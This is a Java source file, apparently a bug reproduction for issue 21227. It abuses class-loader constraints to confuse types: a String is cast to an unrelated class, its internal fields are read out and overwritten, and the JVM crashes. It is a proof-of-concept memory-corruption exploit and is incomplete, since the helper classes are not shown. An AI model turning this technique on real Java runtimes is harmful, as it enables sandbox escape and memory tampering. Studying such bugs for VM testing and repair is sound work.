|
1715
|
1
|
|
|
2 import java.lang.reflect.*;
|
|
|
3 import java.security.*;
|
|
|
4
|
|
|
5 abstract public class bug_21227 {
|
|
|
6
|
|
|
7 // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
|
|
|
8 public static Object _p0wnee;
|
|
|
9
|
|
|
10 public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
|
|
|
11 System.out.println("Warmup");
|
|
|
12
|
|
|
13 // Make a Class 'many_loader' under the default loader
|
|
|
14 bug_21227 bug = new many_loader();
|
|
|
15
|
|
|
16 // Some classes under a new Loader, LOADER2, including another version of 'many_loader'
|
|
|
17 ClassLoader LOADER2 = new Loader2();
|
|
|
18 Class clazz2 = LOADER2.loadClass("from_loader2");
|
|
|
19 IFace iface = (IFace)clazz2.newInstance();
|
|
|
20
|
|
|
21 // Set the victim, a String of length 6
|
|
|
22 String s = "victim";
|
|
|
23 _p0wnee = s;
|
|
|
24
|
|
|
25 // Go cast '_p0wnee' to type You_Have_Been_P0wned
|
|
|
26 many_loader[] x2 = bug.make(iface);
|
|
|
27
|
|
|
28 many_loader b = x2[0];
|
|
|
29
|
|
|
30 // Make it clear that the runtime type many_loader (what we get from the
|
|
|
31 // array X2) varies from the static type of many_loader.
|
|
|
32 Class cl1 = b.getClass();
|
|
|
33 ClassLoader ld1 = cl1.getClassLoader();
|
|
|
34 Class cl2 = many_loader.class;
|
|
|
35 ClassLoader ld2 = cl2.getClassLoader();
|
|
|
36 System.out.println("bug.make() "+ld1+":"+cl1);
|
|
|
37 System.out.println("many_loader "+ld2+":"+cl2);
|
|
|
38
|
|
|
39 // Read the victims guts out
|
|
|
40 You_Have_Been_P0wned q = b._p0wnee;
|
|
|
41 System.out.println("q._a = 0x"+Integer.toHexString(q._a));
|
|
|
42 System.out.println("q._b = 0x"+Integer.toHexString(q._b));
|
|
|
43 System.out.println("q._c = 0x"+Integer.toHexString(q._c));
|
|
|
44 System.out.println("q._d = 0x"+Integer.toHexString(q._d));
|
|
|
45
|
|
|
46 System.out.println("I will now crash the VM:");
|
|
|
47 // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
|
|
|
48 //q._c = 3;
|
|
|
49 q._a = -1;
|
|
|
50
|
|
|
51 System.out.println(s);
|
|
|
52
|
|
|
53 }
|
|
|
54
|
|
|
55 // I need to compile (hence call in a loop) a function which returns a value
|
|
|
56 // loaded from classloader other than the system one. The point of this
|
|
|
57 // call is to give me an abstract 'hook' into a function loaded with a
|
|
|
58 // foreign loader.
|
|
|
59 public abstract many_loader[] make( IFace iface ); // abstract factory
|
|
|
60 }
|
|
|
61
|
